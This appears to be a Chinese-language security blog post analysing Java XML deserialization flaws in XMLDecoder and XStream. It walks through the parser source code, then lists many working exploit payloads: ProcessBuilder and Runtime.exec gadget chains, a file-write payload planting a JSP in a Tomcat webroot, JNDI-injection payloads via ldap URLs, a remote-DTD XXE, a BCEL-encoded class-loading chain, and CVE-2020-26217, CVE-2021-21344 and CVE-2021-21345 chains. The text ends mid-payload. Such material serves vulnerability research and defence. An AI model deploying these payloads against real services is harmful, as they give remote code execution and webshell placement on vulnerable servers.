Java XML反序列化漏洞
例举出几个几个 XML 和 YAML 的反序列化漏洞。
- XMLDecoder
- XStream
- SnakeYaml
在我遇到的项目里,这三个依赖库最常见。
其中 XMLDecoder 不同于其他几个,这个更像是反射漏洞,虽然本质上都是可以反序列化回序列化的数据,但 XMLDecoder 和 XStream 可以自由的控制类、方法、参数,SnakeYaml 一类就同 Jackson 和 fastjson 一样,本质上是调用了 get、set 和构造方法。
weblogic debug
Reference:
- https://www.cnblogs.com/ph4nt0mer/archive/2019/10/31/11772709.html
- https://blog.csdn.net/Munch_D_Rudy/article/details/122459667
debug点在test\weblogic.jar!\weblogic\wsee\jaxws\WLSServletAdapter.class:129
最后访问该网址测试是否debug
http://localhost:7001/wls-wsat/CoordinatorPortType
XMLDecoder
Encode
import java.beans.XMLEncoder;
import java.util.ArrayList;
import java.util.HashMap;
public class Encode {
public static void main(String[] args){
HashMap<Object, Object> map = new HashMap<>();
map.put("123", "hhh");
map.put("321", new ArrayList<>());
XMLEncoder xmlEncoder = new XMLEncoder(System.out);
xmlEncoder.writeObject(map);
xmlEncoder.close();
}
}
会得到一段用 XMLEncoder 生成 hashmap 对象 xml 的代码
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_171" class="java.beans.XMLDecoder">
<object class="java.util.HashMap">
<void method="put">
<string>123</string>
<string>hhh</string>
</void>
<void method="put">
<string>321</string>
<object class="java.util.ArrayList"/>
</void>
</object>
</java>
再拿这个生成的xml,用XMLDecoder解析
import java.beans.XMLDecoder;
import java.beans.XMLEncoder;
import java.io.StringBufferInputStream;
import java.util.ArrayList;
import java.util.HashMap;
public class Decode {
public static void main(String[] args){
String s = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<java version=\"1.8.0_171\" class=\"java.beans.XMLDecoder\">\n" +
" <object class=\"java.util.HashMap\">\n" +
" <void method=\"put\">\n" +
" <string>123</string>\n" +
" <string>hhh</string>\n" +
" </void>\n" +
" <void method=\"put\">\n" +
" <string>321</string>\n" +
" <object class=\"java.util.ArrayList\"/>\n" +
" </void>\n" +
" </object>\n" +
"</java>";
StringBufferInputStream stringBufferInputStream = new StringBufferInputStream(s);
XMLDecoder xmlDecoder = new XMLDecoder(stringBufferInputStream);
Object o = xmlDecoder.readObject();
System.out.println(o);
}
}
成功把刚才的map对象给反序列化回来了
{123=hhh, 321=[]}
可以根据其写法去执行代码
<java version="1.8.0_171" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc.exe</string>
</void>
</array>
<void method="start">
</void>
</object>
</java>
相当于执行了
new java.lang.ProcessBuilder(new String[]{"calc"}).start();
然后可以根据weblogic XMLDecoder的一些payload推断执行的代码
<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/ricky.jsp</string>
<void method="println">
<string><![CDATA[ricky]]></string>
</void><void method="close"/>
</object>
</java>
相当于执行了
java.io.PrintWriter x = new java.io.PrintWriter("/usr/local/tomcat/webapps/ROOT/static/ricky.jsp");
x.println("ricky");
x.close();
流程分析
整体流程
XMLDecoder.readObject()
XMLDecoder.parsingCompelete()
DocumentHandler.parse()
SAXParserFactory.newInstance().newSAXParser().parse()
xmlReader.parse()
XMLDecoder类解析XML是调用DocumentHandler类实现的,而DocumentHandler类是基于SAXParser类对XML的解析上的, DocumentHandler类是XMLDecoder反序列化漏洞的根源类
通过readObject进入parsingComplete
private boolean parsingComplete() {
if (this.input == null) {
return false;
}
if (this.array == null) {
if ((this.acc == null) && (null != System.getSecurityManager())) {
throw new SecurityException("AccessControlContext is not set");
}
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
XMLDecoder.this.handler.parse(XMLDecoder.this.input);
return null;
}
}, this.acc);
this.array = this.handler.getObjects();
}
return true;
}
接着调用XMLDecoder.this.handler.parse方法, 默认的handler
private final DocumentHandler handler = new DocumentHandler();
于是跟进DocumentHandler#parse
public void parse(final InputSource var1) {
if (this.acc == null && null != System.getSecurityManager()) {
throw new SecurityException("AccessControlContext is not set");
} else {
AccessControlContext var2 = AccessController.getContext();
SharedSecrets.getJavaSecurityAccess().doIntersectionPrivilege(new PrivilegedAction<Void>() {
public Void run() {
try {
SAXParserFactory.newInstance().newSAXParser().parse(var1, DocumentHandler.this);
} catch (ParserConfigurationException var3) {
DocumentHandler.this.handleException(var3);
} catch (SAXException var4) {
Object var2 = var4.getException();
if (var2 == null) {
var2 = var4;
}
DocumentHandler.this.handleException((Exception)var2);
} catch (IOException var5) {
DocumentHandler.this.handleException(var5);
}
return null;
}
}, var2, this.acc);
}
}
跟进 SAXParserFactory.newInstance().newSAXParser().parse, 一开始是通过 SAXParserFactory.newInstance() 创建了一个 SAXParserFactoryImpl 实例, 调用其 newSAXParser 方法
public SAXParser newSAXParser()
throws ParserConfigurationException
{
SAXParser saxParserImpl;
try {
saxParserImpl = new SAXParserImpl(this, features, fSecureProcess);
} catch (SAXException se) {
// Translate to ParserConfigurationException
throw new ParserConfigurationException(se.getMessage());
}
return saxParserImpl;
}
很明显, 返回的是一个 SAXParserImpl 实例, 于是跟进 SAXParserImpl#parse
public void parse(InputSource is, DefaultHandler dh)
throws SAXException, IOException {
if (is == null) {
throw new IllegalArgumentException();
}
if (dh != null) {
xmlReader.setContentHandler(dh);
xmlReader.setEntityResolver(dh);
xmlReader.setErrorHandler(dh);
xmlReader.setDTDHandler(dh);
xmlReader.setDocumentHandler(null);
}
xmlReader.parse(is);
}
继续跟进 SAXParserImpl#parse
public void parse(InputSource inputSource)
throws SAXException, IOException {
if (fSAXParser != null && fSAXParser.fSchemaValidator != null) {
if (fSAXParser.fSchemaValidationManager != null) {
fSAXParser.fSchemaValidationManager.reset();
fSAXParser.fUnparsedEntityHandler.reset();
}
resetSchemaValidator();
}
super.parse(inputSource);
}
跟进AbstractSAXParser#parse后再跟进XMLParser#parse, 然后往下走会来到XML11Configuration#parse
public boolean parse(boolean complete) throws XNIException, IOException {
//
// reset and configure pipeline and set InputSource.
if (fInputSource != null) {
try {
fValidationManager.reset();
fVersionDetector.reset(this);
fConfigUpdated = true;
resetCommon();
short version = fVersionDetector.determineDocVersion(fInputSource);
if (version == Constants.XML_VERSION_1_1) {
initXML11Components();
configureXML11Pipeline();
resetXML11();
} else {
configurePipeline();
reset();
}
// mark configuration as fixed
fConfigUpdated = false;
// resets and sets the pipeline.
fVersionDetector.startDocumentParsing((XMLEntityHandler) fCurrentScanner, version);
fInputSource = null;
} catch (XNIException ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw ex;
} catch (IOException ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw ex;
} catch (RuntimeException ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw ex;
} catch (Exception ex) {
if (PRINT_EXCEPTION_STACK_TRACE)
ex.printStackTrace();
throw new XNIException(ex);
}
}
determineDocVersion()主要获取XML实体扫描器然后扫描解析 <?xml version=…?>
来获取XML文档的版本信息
返回版本信息后,继续往下在XML11Configuration.parse()中调用startDocumentParsing()函数,主要是重置扫描器的版本配置并开始文件扫描准备,其中开始文件扫描准备是调用startEntity()函数(跟踪进去可以看到是通知扫描器开始实体扫描,其中文档实体的伪名称为"[xml]"、DTD的伪名称为"[dtd]"、参数实体名称以"%"开头;接着函数内部会调用startDocument()函数开始准备文件扫描), 最后会到 ObjectElementHandler#getValueObject 创建实例
最后解析到void标签获取到start方法,然后通过调用start方法实现了命令执行
XStream
XStream 和 XMLDecoder 差不多,都是 Java 对象和 XML 互转的库,在审计java项目时也经常能见到。比较出名的几个项目 Bamboo 、Struts2 、Jenkins 都有用到它,且曝出过漏洞。
XStream 有几个 CVE ,分别是 RCE、XXE、DOS。
XXE
影响 1.4.8 及之前版本
com.thoughtworks.xstream.io.xml.DomDriver domDriver = new com.thoughtworks.xstream.io.xml.DomDriver();
String x = "<!DOCTYPE foo [<!ELEMENT foo ANY >\n" +
"<!ENTITY % xxe SYSTEM \"http://127.0.0.1:2333/evil.dtd\" >\n" +
"%xxe;]>\n" +
"<foo>1</foo>";
domDriver.createReader(new StringReader(x));
漏洞参考 http://x-stream.github.io/CVE-2016-3674.html
DOS
影响 1.4.9 及之前版本
XStream xstream = new XStream();
xstream.fromXML("<void/>");
xstream.fromXML("<string class='void'>Hello, world!</string>");
RCE
它的 CVE 编号是 CVE-2013-7285,可以影响到 1.4.10 版本。还有 CVE-2019-10173。
1.4.10 版本更新的时候加了一个通过 XStream.setupDefaultSecurity 方法初始化安全框架的功能。但默认不被调用,依然可以攻击 1.4.10 版本的 XStream。
import com.thoughtworks.xstream.XStream;
public class xstream {
public static void main(String[] args) {
XStream xstream = new XStream();
String x = "<sorted-set>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>calc.exe</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>";
xstream.fromXML(x);
}
}
反序列化利用工具 marshalsec 里就可以生成 XStream 的很多 gadgets
CommonsConfiguration
Rome
CommonsBeanutils
ServiceLoader
ImageIO
BindingEnumeration
LazySearchEnumeration
SpringAbstractBeanFactoryPointcutAdvisor
SpringPartiallyComparableAdvisorHolder
Resin
XBean
实现的这些接口都是可以生成的 gadgets
Xstream反序列化
参考:
- https://www.anquanke.com/post/id/204314
- https://blog.szfszf.top/article/52/
- https://blog.0kami.cn/2020/04/18/java/talk-about-xstream-deserialization/
XStream的序列化和反序列化主要依靠toXML
函数和fromXML
函数
关于XStream的fromXML分析参考这篇文章
XStream反序列化和fastjson不一样的地方是fastjson会在反序列化的时候主动去调用getters和setters,而XStream的反序列化过程中赋值都有Java的反射机制来完成,所以并没有这样主动调用的特性。
MapConverter
针对Map类型还原的Converter
com.thoughtworks.xstream.converters.collections.MapConverter#unmarshal
populateMap
函数会去处理后续的值,直接来看具体put的地方 com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap
这里target作为接收者,会调用Map的put函数,后续就是对key调用hashCode函数
TreeSet/TreeMapConverter
这里TreeSet和TreeMap放一起,因为TreeSet本身就是一个只用上了Key的TreeMap;TreeSetConverter的反序列化处理也是先转化为TreeMapConverter的方式来优先还原TreeSet里的TreeMap,再填充到TreeSet里。
从TreeSetConverter开始
从Treeset中取出field treemap后,去进一步调用TreeMapConverter来还原TreeMap com.thoughtworks.xstream.converters.collections.TreeMapConverter#populateTreeMap
这里先用soredMap来填充需要还原的Entry,后续将调用TreeMap.putAll
最终会调用到java.util.AbstractMap#putAll
这里的put函数为TreeMap.put
, 它的主要功能就是填充数据,并且在填充时将会比较当前存在key,如果是相同的key,则替换原有老的值。这个过程会去调用key的compareTo
函数
DynamicProxyConverter
XStream还支持对动态代理的方式进行还原
主要的关注点是使用Proxy动态代理, 可以扩展前面两种的自动调用函数的攻击面
结合上面基础知识中提到的几个Converter,我们想要利用XStream反序列化漏洞的话,得去充分利用前面提到的几个会自动调用的函数
EventHandler
XStream反序列化用的最多的EventHandler
,来看看它的invoke
函数
首先需要判断此时调用的函数是否为hashCode
、equals
、toString
,如果是的话,采用以下的方式来处理。
if (methodName.equals("hashCode")) {
return new Integer(System.identityHashCode(proxy));
} else if (methodName.equals("equals")) {
return (proxy == arguments[0] ? Boolean.TRUE : Boolean.FALSE);
} else if (methodName.equals("toString")) {
return proxy.getClass().getName() + '@' + Integer.toHexString(proxy.hashCode());
}
需要利用的是invokeInternal
函数后续的部分,所以我们利用的时候不能用它来调用上面的3个函数,意味着前面提到的Map
的方式,不适合用在这个地方;而TreeSet
这种调用compareTo
函数,可以用来继续往下走。
后续的就是java反射机制来实现函数调用, 并且这里的target和action都是可控的。
此处action函数参数是有要求的:
- 无参数
- 单个参数,且参数的类型为
Comparable
,并且这个action函数是可利用的
第2种暂时未出现, 可以利用第一种方法:
- 配置好cmd的
ProcessBuilder
,action填start
- 配置好rmi url的
JdbcRowSetImpl
,action填getDatabaseMetaData
,主要思路就是可利用的getters
TreeSet
POC1
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
POC2
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
<javax.sql.rowset.BaseRowSet>
<default>
<dataSource>ldap://127.0.0.1:1099/calc</dataSource>
</default>
</javax.sql.rowset.BaseRowSet>
</target>
<action>getDatabaseMetaData</action>
</handler>
</dynamic-proxy>
</sorted-set>
也就是把dataSource
在父类javax.sql.rowset.BaseRowSet
默认赋值后调用子类com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData
触发JNDI注入, 完整的写法会比这个复杂, 原因是把所有的默认值都生成了
POC3
<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>ldap://127.0.0.1:1099/calc</dataSource>
<listeners/>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
</iMatchColumns>
<strMatchColumns>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
</strMatchColumns>
</default>
</com.sun.rowset.JdbcRowSetImpl>
</target>
<action>getDatabaseMetaData</action>
</handler>
</dynamic-proxy>
</sorted-set>
TreeMap
POC4
<tree-map>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>ricky</string>
</entry>
</tree-map>
POC5
<tree-map>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="com.sun.rowset.JdbcRowSetImpl" serialization="custom">
<javax.sql.rowset.BaseRowSet>
<default>
<dataSource>ldap://127.0.0.1:1099/calc</dataSource>
</default>
</javax.sql.rowset.BaseRowSet>
</target>
<action>getDatabaseMetaData</action>
</handler>
</dynamic-proxy>
<string>ricky</string>
</entry>
</tree-map>
Groovy ConvertedClosure
利用环境:groovy <= 2.4.3,在后续的版本里,MethodClosure
不允许反序列化调用
MethodClosure
当前MethodClosure的主要作用就是封装我们需要执行的对象,比如
new MethodClosure(Runtime.getRuntime(), "exec");
封装Runtime
对象,并设定后续需要调用的函数exec
ConvertedClosure
这个ConvertedClosure
也是继承了InvocationHandler
,可以在动态代理中作为handler的存在,来看一下他的invoke
ConvertedClosure 调用的是父类org.codehaus.groovy.runtime.ConversionHandler#invoke
主要看这个部分,对于当前调用的函数,如果非Object的函数(如toString、hashCode等),并且不是GroovyObject
的函数,会去调用子类的invokeCustom
,这里看org.codehaus.groovy.runtime.ConvertedClosure#invokeCustom
这里的属性都是可控的,也就意味着我们可以去调用去调用前面构造好的MethodClosure
参考: https://paper.seebug.org/1171/
compareTo
会带上一个参数,所以我们MethodClosure
封装的后续需要调用的函数必须要存在一个String类型的参数,不然会找不到函数报错, 直接构造Runtime.exec
可以解决这个问题
<sorted-set>
<string>calc</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.codehaus.groovy.runtime.ConvertedClosure">
<delegate class="org.codehaus.groovy.runtime.MethodClosure">
<delegate class="java.lang.Runtime"/>
<owner class="java.lang.Runtime" reference="../delegate"/>
<method>exec</method>
</delegate>
<handleCache/>
<methodName>compareTo</methodName>
</handler>
</dynamic-proxy>
</sorted-set>
Groovy Expando
这里使用Map
的类型来触发。以Map
的类型来触发,那就是找可以利用的hashCode
函数
groovy.util.Expando#hashCode
如果在类属性expandoProperties
中存在hashCode:methodclosure
的内容,我们可以在这里直接调用MethodClosure
的call
函数,跟上面ConvertedClosure
后续的调用一样,但是这里调用时没有函数参数过来,所以这里的思路是ProcessBuilder.start
或者fastjson那种getters的利用
<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</delegate>
<owner class="java.lang.ProcessBuilder" reference="../delegate"/>
<resolveStrategy>0</resolveStrategy>
<directive>0</directive>
<parameterTypes/>
<maximumNumberOfParameters>0</maximumNumberOfParameters>
<method>start</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<string>ricky</string>
</entry>
</map>
groovy String execute() method (sample: "calc.exe".execute())
<map>
<entry>
<groovy.util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org.codehaus.groovy.runtime.MethodClosure>
<delegate class="string">calc.exe</delegate>
<owner class="string">calc.exe</owner>
<method>execute</method>
</org.codehaus.groovy.runtime.MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<groovy.util.Expando/>
</entry>
</map>
ImageIO$ContainsFilter(CVE-2020-26217)
这条链利用的也是HashMap自动调用hashCode方法的触发点
POC
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command class="java.util.Arrays$ArrayList">
<a class="string-array">
<string>calc.exe</string>
</a>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString />
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString />
<jdk.nashorn.internal.objects.NativeString />
</entry>
</map>
ServiceLoader$LazyIterator
在java.util.ServiceLoader$LazyIterator
类的next方法中会调用Class.forName
, 其中ClassName和loader都可控,可以利用以前BCEL的classLoader会把className内容当字节码加载的gadget实现getshell。
虽然Class.forName
的第二个参数为false无法加载类的静态块,但是在后续实例化了这个类,所以可以在无参构造函数里插入恶意代码。
修改BCEL ClassLoader构造POC
这里来提一下关于POC的构造,如果你使用了当前这个利用链,并且不对ClassLoader
做处理的话,你会发现怎么都打不通,因为这里在实际还原ClassLoader
的时候出现了错误
这里有两种解决方案,一是去除这种还原有问题的类(会很麻烦),二是直接把ClassLoader
里的一些无关紧要的东西剔除掉。
这里我选择了第二种,经过调试去除了以下几个属性的值
这里由于我们剔除了ignored_packages
和deferTo
,导致BCEL的ClassLoader在载入普通的类的时候会出现加载错误的问题
来看看怎么解决这个问题
首先BCEL的ClassLoader.loadClass
,一共尝试4次不同的载入方法
从当前ClassLoader的classes去找
对于默认忽略的包
java./sun./javax.
,使用deferTo
去重新加载,这里的deferTo
是系统的ClassLoader(ClassLoader.getSystemClassLoader()
)对于classname以
$$BCEL$$
开头的,根据classname的值去defineClass,这边就是我们最喜欢的任意载入字节码的地方最后一次是用
repository
去载入当前的classname,如果这里还没找到,就会爆没有找到Class的错误PS:这部分
repository
取的SyntheticRepository.getInstance()
,还不是很清楚这个左右,后续整理一下ClassLoader相关的知识再做补充
再来看我们报错的原因,因为删除ignored_packages
和deferTo
之后,相当于第二种情况无法载入了,而显然java.lang.Object
不符合第三种情况。最后第4种里面也没有找到这个java.lang.Object
,所以最终爆了ClassNotFoundException
这里其实已经很明显了,解决这个问题,我们得在classes
里添加我们传入的class字节码里所用到的所有类,那么在第一次尝试载入的时候,就找到了相应的类,无需尝试后续的几种载入方式。
比如这里我产生的字节码里面用上了Runtime
,就得加上这个类
这里的Object必须加上,毕竟所有的对象都继承自Object
测试后发现报错提示找不到的类还是需要添加, 基本的命令执行需要以下四个类
java.lang.Object
java.lang.Runtime
java.lang.Throwable
java.lang.Exception
POC
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="java.util.ServiceLoader$LazyIterator">
<service>java.lang.Object</service>
<loader class="com.sun.org.apache.bcel.internal.util.ClassLoader">
<package2certs class="hashtable"/>
<classes defined-in="java.lang.ClassLoader"/>
<defaultDomain>
<principals/>
<hasAllPerm>false</hasAllPerm>
<staticPermissions>false</staticPermissions>
<key/>
</defaultDomain>
<domains/>
<packages/>
<nativeLibraries/>
<defaultAssertionStatus>false</defaultAssertionStatus>
<classes>
<entry>
<string>java.lang.Object</string>
<java-class>java.lang.Object</java-class>
</entry>
<entry>
<string>java.lang.Runtime</string>
<java-class>java.lang.Runtime</java-class>
</entry>
<entry>
<string>java.lang.Throwable</string>
<java-class>java.lang.Throwable</java-class>
</entry>
<entry>
<string>java.lang.Exception</string>
<java-class>java.lang.Exception</java-class>
</entry>
</classes>
<ignored__packages/>
<repository class="com.sun.org.apache.bcel.internal.util.SyntheticRepository">
<__path>
<paths/>
<class__path></class__path>
</__path>
<__loadedClasses/>
</repository>
</loader>
<nextName>$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$c2P$Q$3d$X$K$z$b5$3cD$f1$fd$7e$C$LY$b8$d4$b8$d0$e0$c6$fa$88$Y$5c_$ae7x$b5$b6$a4$5c$88$7f$e4$da$8d$g$X$7e$80$le$9c$d6$H$gm$d2$99$ce$993g$ce$a4$afo$cf$_$A6$b1f$c3$c2$b8$8d$JLZ$98$8a$f2$b4$89$Z$h$v$cc$9a$9831$cf$90$deV$be$d2$3b$M$c9r$a5$c9$60$ec$F$X$92$n$ef$w_$k$f5nZ2$3c$e3$z$8f$90$a2$h$I$ee5y$a8$a2$fa$T4$f4$a5$ea2$U$dc$9eV$5e$b7V$ef$xow$af$een1X$db$c2$fb$UfD$y$b9W$bc$cfk$k$f7$db$b5$fa$ad$90$j$ad$C$9fh$d9$86$e6$e2$fa$90wbA$f2$c6$607$82$5e$u$e4$be$8a$Wd$bf$q7$a2y$H$Z$d8$s$W$i$yb$89v$90$n$b1$no$a5$83e$ac0$8c$fc$b3$c3$c1$wl$86$dco$83dy$c0$3dn$5dI$a1$Z$86$H$d0i$cf$d7$ea$86$f6$dbm$a9$bf$8bR$b9$e2$fe$e1$d0$R$GY$Q$M$eb$e5$l$dd$86$O$95$df$de$fa9p$S$GBv$bb4$90$efPS$c7$a7$9f$85$5cH$3a$c7$a4$l$V$3d$J$b0$e8H$8aCT$d5$u3$ca$a9$ea$p$d8$7d$dcv$u$a6c0$89$yE$e7$83$80$i$f2$94$z$U$be$87y$y$G$U$9f$90$u$s$l$60$9c$df$c1$3a$a8$3e$m$7d$l$e3$Z$9aM$91J$a48F_$91n$sFMR$b60LJ_$h$b20$a8$$R5B$af$89$84kb$d4$a0F$v65$f6$O$ff8$d8$efr$C$A$A</nextName>
<outer-class/>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
CVE-2021-21344
从PriorityQueue的readObject调用compare作为入口点,直到com.sun.xml.internal.bind.v2.runtime.reflect.Accessor.GetterSetterReflection的get方法进行了反射调用。关键点在于Accessor.GetterSetterReflection类虽然未实现Serializable接口,但是仍然可以反序列化使用。下图就是最后利用ProcessBuilder.start执行命令的链
POC1
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>java.lang.ProcessBuilder</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='java.lang.ProcessBuilder'>
<command>
<string>calc.exe</string>
</command>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
CVE-2021-21345
在CVE-2021-21344的基础上不采用JdbcRowSetImpl而是使用com.sun.corba.se.impl.activation.ServerTableEntry
类直接在本地执行恶意代码, 在 ServerTableEntry 类的 verify 方法上
public int verify()
{
try {
if (debug)
System.out.println("Server being verified w/" + activationCmd);
process = Runtime.getRuntime().exec(activationCmd);
int result = process.waitFor();
if (debug)
printDebug( "verify", "returns " + ServerMain.printResult( result ) ) ;
return result ;
} catch (Exception e) {
if (debug)
printDebug( "verify", "returns unknown error because of exception " +
e ) ;
return ServerMain.UNKNOWN_ERROR;
}
}
控制 activationCmd 的值即可命令执行
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
<name>verify</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
